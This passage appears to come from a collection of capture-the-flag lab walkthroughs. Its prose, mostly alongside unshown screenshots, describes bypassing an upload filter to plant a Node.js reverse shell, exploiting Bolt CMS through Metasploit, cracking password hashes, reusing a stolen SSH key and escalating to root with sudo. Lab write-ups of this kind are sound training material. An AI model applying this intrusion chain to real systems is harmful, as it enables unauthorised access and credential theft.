![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdyeGxFwIfrJ0J1GZQ7%2Fimage.png?alt=media\&token=fcb35669-bad7-446b-8fbb-28d507f60664)

Now lets save it and upload it and then go to the URL

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdyeVeY4Te8jvt-drgn%2Fimage.png?alt=media\&token=6bc078f3-333f-4488-8810-03a55b4a6f35)

We got a shell, lets read the flag.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdyecTUlU5ctzqsJIyy%2Fimage.png?alt=media\&token=bdcd9fbf-8cd9-4712-886b-c9ae81586daf)

## Example Methodology

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdyfQ5s3a6dj3M9VpoO%2Fimage.png?alt=media\&token=b9a692fd-b28d-4a30-9310-21807870537f)

## Challenge

Lets visit the webpage

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Me1I659eAwCPFqViPO-%2F-Me1IXRZ_aNTOom_HQei%2Fimage.png?alt=media\&token=28deec46-db8e-4569-83b1-a6050a445ce5)

Looks like we can upload files here, lets first run a gobuster scan to find the page where the files are being uploaded or where we can execute uploaded files

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Me1I659eAwCPFqViPO-%2F-Me1J0bWjH-_0uRZWBrP%2Fimage.png?alt=media\&token=ee2556a7-3fc3-4241-9fa3-3e0ae4d5a669)

All of the directories are not found except the /admin directory. Let check it.&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Me1I659eAwCPFqViPO-%2F-Me1JEb5i-ZAEDsQxUju%2Fimage.png?alt=media\&token=4ba841f1-9f8d-416c-9d77-741ed965139a)

We can execute files here. Lets look at the source of the web page

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Me1I659eAwCPFqViPO-%2F-Me1KPGCtEUgcDk7hv9k%2Fimage.png?alt=media\&token=3cc43166-ff4a-46a2-bc75-a4c9f82ee059)

We have a upload.js file, lets look at it

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Me1I659eAwCPFqViPO-%2F-Me1K_AM2-95WAI9Yzaw%2Fimage.png?alt=media\&token=376ff386-311b-4dcc-8024-eddd5bdf046d)

Looks like there is a file size, magic number and file extension check. We can also see that if the file extension is not jpg or jpeg, the file will not be allowed.

Also Wappalyzer tells us that Node.js is being used

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Me1I659eAwCPFqViPO-%2F-Me1MGpm6UbPzpVkgLHc%2Fimage.png?alt=media\&token=d3396120-7580-4b78-9517-4ed14f09b020)

So lets use a node.js payload, which we can find [here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#nodejs).

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Me1I659eAwCPFqViPO-%2F-Me1Oml6OKPuqWF70vUK%2Fimage.png?alt=media\&token=c33badca-1f00-40c0-ae6d-7c4e2c9c9c6b)

Lets copy this to our machine and call it bypass.js, make sure to change the IP and the Port&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Me1I659eAwCPFqViPO-%2F-Me1Q7X2XN7dwYdWNUUd%2Fimage.png?alt=media\&token=14e42eec-a998-4dde-ac23-264548b28de3)

Now we need to find a way to bypass the filter. So lets capture the request in Burp and see what we can do. First we have to change some options. Go into the options tab in Proxy and click edit on Intercept Client Requests.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Me1I659eAwCPFqViPO-%2F-Me1R_Rc739QqbUUQB_8%2Fimage.png?alt=media\&token=719b7bb1-a05c-42f6-a797-67a544c5f649)

Now lets remove the `^js$` part of it and hit ok. Lets request the page and capture the request. After forwarding a few packets you should see this page.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Me1I659eAwCPFqViPO-%2F-Me1Sbx5QdGbiRupj5ku%2Fimage.png?alt=media\&token=0bf0aa32-2e68-4026-86c1-b0d9c4d35304)

It is the upload.js page, now lets right click and go to Do intercept and then click Response to this request.

After forwarding a few pages you should see this page (If not clear the cache using Ctrl + F5)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Me1I659eAwCPFqViPO-%2F-Me1Xnclj3P52C1fVCEH%2Fimage.png?alt=media\&token=0e8fcb07-933f-45b4-a8ef-41f055e955b5)

Now lets remove the filters&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Me1I659eAwCPFqViPO-%2F-Me1Y66FcdmLkFsa3wy5%2Fimage.png?alt=media\&token=91ee1489-5cb3-4ee0-8bf1-82240526125a)

Now lets forward the request. Now lets we have removed client side filter but we still have to bypass the server side filter. Lets now upload our bypass.js file but lets change the extension and the name to shell.jpg. Once uploaded lets run gobuster to see where the file is and what name it is.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Me1I659eAwCPFqViPO-%2F-Me1bQZHdEup1Vo1tSMB%2Fimage.png?alt=media\&token=11559acd-28a7-440a-8226-5b102b49ab11)

Lets check all the files and see which one gives us an error as our file is an ASCII file and not a `js` file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Me1I659eAwCPFqViPO-%2F-Me1bTIckpslaCVL-7H2%2Fimage.png?alt=media\&token=e397f8ac-f9da-49c4-b1ef-b40db60ae570)

Looks like we found the file, lets start a netcat listener.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Me1I659eAwCPFqViPO-%2F-Me1bZNAXhSCUAO6bvmo%2Fimage.png?alt=media\&token=7c3ca1b5-8dd5-426c-8f24-f891a83f0e79)

Lets go to the admin page to execute the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Me1I659eAwCPFqViPO-%2F-Me1d6FVcxvd_YpIPDLC%2Fimage.png?alt=media\&token=442e2d94-f855-4cc1-9c71-d2ee955a19ac)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Me1I659eAwCPFqViPO-%2F-Me1d8C0zVoUtJRCl_fp%2Fimage.png?alt=media\&token=942d2783-4cdc-4055-9007-ebc1f01f57e4)

We have a shell, lets read the flag.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Me1I659eAwCPFqViPO-%2F-Me1dGNbt-RjTie5D7fS%2Fimage.png?alt=media\&token=28ffca85-8e51-4a96-bfec-45ac52a36c04)


# Bolt

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi0-B-vFQv5r3Au8Vh%2F-Mdi06zmS2xoBfuu0CdU%2Fimage.png?alt=media\&token=99d3b7b4-14a4-4414-ac14-27ffc6945a97)

## Scanning

Lets run some nmap scans to find open ports and services

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi0-B-vFQv5r3Au8Vh%2F-Mdi0wTEr4PJ5b3FXJxF%2Fimage.png?alt=media\&token=41ab9b6a-f269-428f-8961-552c7b80de95)

## Enumeration

Lets visit the website running on port 8000

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi0-B-vFQv5r3Au8Vh%2F-Mdi1Ca-uFXYaqMqX8e4%2Fimage.png?alt=media\&token=86eaab0d-06f2-4bc0-ab67-64f206b1c934)

Looks like CMS bolt is running on this port. We also have the username Bolt. Looking through the site, we can also see another username and a password

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi0-B-vFQv5r3Au8Vh%2F-Mdi1cEF1iQBMqr7_2tz%2Fimage.png?alt=media\&token=c862fb81-a3f0-407a-96f5-7f58d613efb3)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi0-B-vFQv5r3Au8Vh%2F-Mdi1i3KLV5dIe5Cfufb%2Fimage.png?alt=media\&token=8bf0116a-1a70-458c-a90d-d7364d2e05bc)

We usually find the login page of Bolt CMS pages in the /bolt page, so lets check it out.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi0-B-vFQv5r3Au8Vh%2F-Mdi2b81lG9q0KaOrY1E%2Fimage.png?alt=media\&token=c8228cb3-b8b5-44af-9cd5-201f8b73cd0c)

Lets login with the credentials we found

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi0-B-vFQv5r3Au8Vh%2F-Mdi2l_b1m20UN86oYV4%2Fimage.png?alt=media\&token=de13776f-8dad-4742-b5b4-846ad75f81ba)

Looking at the bottom corner of the page, we see the Bolt version running on the machine.

## Exploitation

Lets now go to Exploit-db and look for exploits on this version

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi0-B-vFQv5r3Au8Vh%2F-Mdi36vYmKlkAqGrjnx-%2Fimage.png?alt=media\&token=8bd65f72-a2ae-4f30-bf15-a7e60cac9088)

We have one, lets look at it

Now lets open Metasploit and look for this exploit, then lets set the options.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi0-B-vFQv5r3Au8Vh%2F-Mdi3g5Uw_sDaxxefgkH%2Fimage.png?alt=media\&token=dd94de65-f2f5-4ce3-aa17-8f18e902e2f5)

Now lets set the last options and run the exploit and get the flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi0-B-vFQv5r3Au8Vh%2F-Mdi4GKi0NWE0O85kFeI%2Fimage.png?alt=media\&token=821dcd9f-3776-4b40-a415-26ba4be4deb4)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi0-B-vFQv5r3Au8Vh%2F-Mdi47fbmDgynwVC4VXP%2Fimage.png?alt=media\&token=88d7e270-40eb-4c0e-8742-39eacf11a3ee)

We have the flag.


# Erit Securus 1

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh4QP5CX3zQKMtmh2e%2F-Mdh4a3f2qwTJoLByM2C%2Fimage.png?alt=media\&token=4f42d0af-bf79-4a1b-a541-ff19690fb6eb)

## Reconnaissance

Lets run nmap scan to find open ports and services

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh5dAAzhKIvm0EkBba%2F-Mdh5v5ejaQwcUtyaUs3%2Fimage.png?alt=media\&token=3029a253-c5bb-4e4e-bf30-3162cfaa08b4)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh5dAAzhKIvm0EkBba%2F-Mdh6VjtNA09HCB5JU9i%2Fimage.png?alt=media\&token=00ee6a0c-88f8-41b8-b070-e27df93b9a7d)

## Webserver

Lets visit the site

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh5dAAzhKIvm0EkBba%2F-Mdh722V4MUnOg7nLEMj%2Fimage.png?alt=media\&token=8808cbde-2bf2-41a4-9601-c5ef42117140)

Looking through the site, we can see what the page was built with

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh5dAAzhKIvm0EkBba%2F-Mdh7NAyDYGvF4ITDzVV%2Fimage.png?alt=media\&token=3d8679c1-e4a1-4d5a-9b6b-570d93712fad)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh5dAAzhKIvm0EkBba%2F-Mdh7PsQYI_o-SFxn2eI%2Fimage.png?alt=media\&token=6f80cd1a-a38c-407b-9e47-81abc2ad7abb)

## Exploit

Lets look at the exploit the room gave us

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh5dAAzhKIvm0EkBba%2F-Mdh880Gu7WG8B8Uqb8q%2Fimage.png?alt=media\&token=cef1c695-3b59-4bf7-9fbc-7e9d62eb9cb7)

Lets download this to our machine and make the exploit file a executable

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh5dAAzhKIvm0EkBba%2F-Mdh8IJdKhJNsa6ThuEj%2Fimage.png?alt=media\&token=2df3561b-b1de-401d-86b2-a40dca66026e)

Now , lets look at the exploit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-Mdh938q4AFkce_Iyg3q%2Fimage.png?alt=media\&token=ad9d738d-39f5-40f8-8c5d-3c8419715c82)

Looking at the exploit, it looks like we need to supply a username and a password. First we need to find the login page to see if we can try some default usernames and passwords to login.

Lets go to google and try to find where the login page is located on Bolt CMS.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-MdhBUlr6g-llXtlucRL%2Fimage.png?alt=media\&token=a9e096a6-ee87-41c5-9cb9-60f0d2fd5612)

Lets go to /bolt

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-MdhCBOJBFl8_tiTMOw8%2Fimage.png?alt=media\&token=367e0108-b58b-4d96-a4f3-03a51b0bce4d)

We have a login page. Lets try logging in with default usernames and passwords.

After trying different credentials, I found the right ones

Username: admin

Password: password

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-MdhDM3Vvdro1xbz31-Q%2Fimage.png?alt=media\&token=bab780e3-01e9-4e9c-bc29-7fafa9a706fe)

Now that we know the username and the password, we can run the exploit.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-MdhG28BZV4m_-7MeLP1%2Fimage.png?alt=media\&token=2530ee0b-af3b-49c3-82e2-958a125367a0)

Now we will create a simple php-shell on the server so that we can run commands on the server as netcat is not allowed on the server and so uploading this shell, we can run a netcat reverse shell to get a shell on the server.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-MdhHoyu_RNftP9fWcIP%2Fimage.png?alt=media\&token=f40746b9-766b-41d8-aa54-6188e74e036f)

We can follow these steps, but there is an easier way to do this, first we run the exploit and then put in a python reverse shell which will give us a shell on the machine

So first we start a netcat listener

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-MdhQBf07DC6oCU4nY4c%2Fimage.png?alt=media\&token=c24fb68a-4baf-448e-9041-04da794da355)

Next we run the exploit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-MdhQO2x4gx8YrWm4A5q%2Fimage.png?alt=media\&token=6968f125-aa1a-4baf-a6eb-82a27a25b832)

Now we run a python reverse shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-MdhQVHcih2rQgBobyw9%2Fimage.png?alt=media\&token=6894829a-d621-432c-802a-13647828776b)

And we have a reverse shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-MdhQZcTfMXyJ7CWbCvd%2Fimage.png?alt=media\&token=0f667e78-18f9-408b-9e15-e571f425d686)

Lets stabilize the shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-MdhQob2Lvy9jLfAa3PA%2Fimage.png?alt=media\&token=4206a0bb-660c-4754-8910-e2ac65f30303)

We are logged in a as www-data

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-MdhQu6Fo17Q2PYHUxyF%2Fimage.png?alt=media\&token=391a6a1c-cef9-4a78-b826-51c11be013c7)

## Privilege Escalation

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-Mdhn_1ufLYSrdLpwBXs%2Fimage.png?alt=media\&token=9be01950-3f83-4d8e-afd5-4b01ffd2f359)

Lets follow these steps, lets find the file&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-Mdhoa4bk_DiEsEnLILw%2Fimage.png?alt=media\&token=68d9a9ec-284c-466a-8622-f630f7df6700)

Lets access this file with Sqlite3 and check its contents

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-MdhozOxUSvftOrkfW_4%2Fimage.png?alt=media\&token=ae24d2be-32e0-4025-bd3f-90c8bf8af6f1)

Lets copy the password hash for the user wildone and crack it using John The Ripper. Lets save the hash in a file called hash.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-MdhpL4_0iLVt77Y2zgn%2Fimage.png?alt=media\&token=a508ba51-dc0a-4a51-b4a5-5a134ca2ba66)

Lets now crack it

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-MdhpUbf9Vw3bIf-0M9G%2Fimage.png?alt=media\&token=6a2c658e-664b-499e-87f5-5004675dd10f)

Lets switch users to `wileec`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-MdhtGNed8scJj0eB9VR%2Fimage.png?alt=media\&token=4aa9ae34-b4db-4aeb-971a-09b7b9c70e8e)

We can read the first flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-Mdhtk2TaaAo9HOlXBsx%2Fimage.png?alt=media\&token=416861cf-8b10-4a8a-894b-d69693b6df7c)

## Pivoting

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-MdhuE35eS4c_N1QySPm%2Fimage.png?alt=media\&token=6fe795c4-0da8-4b61-a4d4-4e833efe7ca6)

Lets check the id\_rsa file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-MdhuOnYcQ620DiOa2AF%2Fimage.png?alt=media\&token=8cfcf22e-1272-4ff7-b34c-fb8ba775f6e7)

Lets save the private key on our machine in a file called id\_rsa and then lets give it permissions and login through ssh.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-Mdhup2M1gkzFnZT6jHa%2Fimage.png?alt=media\&token=ff63a30b-5b5c-4aa9-b928-8678e07f854a)

You can use the same python command to get a good shell.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-Mdhv7kD9wTk5Xv9TzZX%2Fimage.png?alt=media\&token=6f036b3a-2dca-4a30-a1ab-43f258b83186)

We can now run sudo, so lets run sudo -l to see what we can run as other users

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-MdhvTGzIgdME9pVbuS4%2Fimage.png?alt=media\&token=93b05af6-decd-47df-b17f-ed2df25d7dec)

Lets go to GTFOBins to find the command to switch users to `jsmith`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-MdhveBlaUMw0jkB8Kcd%2Fimage.png?alt=media\&token=9e27c979-697f-492f-9787-34be2cd8c503)

Lets run these commands and switch users to `jsmith`&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-MdhwSKiZj4qmPn5JTzV%2Fimage.png?alt=media\&token=d8c8b0cc-fd64-4e82-a61c-b798e5355056)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-Mdhx-UGMPgpFwSHenTp%2Fimage.png?alt=media\&token=7a02ff48-2025-4200-9588-35c437b0edeb)

## Privilege Escalation 2

Lets run sudo -l to see what we can execute as other users and use the command to privesc to root.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-MdhxNMLhF1bVZH1Aidm%2Fimage.png?alt=media\&token=6140e7c2-0046-45b1-80bb-0eb5b0b89736)

We are now root. We can read the root flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdh8Mu7XhVGp7fYdUCa%2F-Mdhx_kBITINIlkVOcXu%2Fimage.png?alt=media\&token=736932df-3882-4c95-aebe-a612741d6444)


# CC: Pentesting

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MddE7h9IfaVtrheEjj7%2F-MddYruNxN_Mn6q3-uyw%2Fimage.png?alt=media\&token=c6a8a207-0900-4b12-97ab-26b0e7909036)

## Nmap

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MddZ7Qh0Ra4W58_yyQT%2F-MddZM-Km6MNpPevaz7X%2Fimage.png?alt=media\&token=ecf4cf73-6dfb-47fb-9e51-4aa7ca513173)

Lets run nmap scans to find the answers to the questions

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MddZ7Qh0Ra4W58_yyQT%2F-Mdd_L2WLtGl1ve-p1o6%2Fimage.png?alt=media\&token=55a57bb0-e71e-4dc3-bebb-da77536f9d19)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MddZ7Qh0Ra4W58_yyQT%2F-Mdd_caMS4WT06AInwJ3%2Fimage.png?alt=media\&token=1fb8ac43-7514-4250-8352-97feaa211e40)

## Netcat

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MddZ7Qh0Ra4W58_yyQT%2F-Mdd_terMYDH8HSPci7f%2Fimage.png?alt=media\&token=772c4051-334f-4146-bfb9-463e2e877a13)

## Gobuster

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MddZ7Qh0Ra4W58_yyQT%2F-Mde1ySJXYlc9igheJki%2Fimage.png?alt=media\&token=86042a8d-e8bf-4c4c-9768-31afe563c640)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MddZ7Qh0Ra4W58_yyQT%2F-Mde247HSXLtRXHXdhMK%2Fimage.png?alt=media\&token=5a6b8463-bca3-4bce-8f0c-31c40c3f3c6e)

Lets run gobuster to find the answers to the questions

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MddZ7Qh0Ra4W58_yyQT%2F-Mde3M7YM3V03oEoMlgh%2Fimage.png?alt=media\&token=df2cd8e2-7c2a-4459-bf86-641daffb5a19)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MddZ7Qh0Ra4W58_yyQT%2F-Mde3PX0TcbIt48jaY4X%2Fimage.png?alt=media\&token=1edeac71-8cb5-4e49-a903-9a3f63704875)

## Nikto

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MddZ7Qh0Ra4W58_yyQT%2F-Mde5pKiUlnoMsNMpac0%2Fimage.png?alt=media\&token=67bb909d-6011-4ab2-8506-d439abbe54b6)

## Metasploit

### Setting Up

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MddZ7Qh0Ra4W58_yyQT%2F-Mde6IE-oe8wf49Fythp%2Fimage.png?alt=media\&token=695d2df9-3e1c-41d9-bbda-9dfb51af6d87)

### Selecting a module

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi6pl3IJz0mhHLTVxJ%2F-MdifGMPDknNoM3FGnTa%2Fimage.png?alt=media\&token=e46d7bbb-d600-4c5e-b07f-09b19d551215)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi6pl3IJz0mhHLTVxJ%2F-MdifK8yl75CSHFdWp46%2Fimage.png?alt=media\&token=4095f97b-07cb-47e9-804f-868faa1a66a2)

### Meterpreter

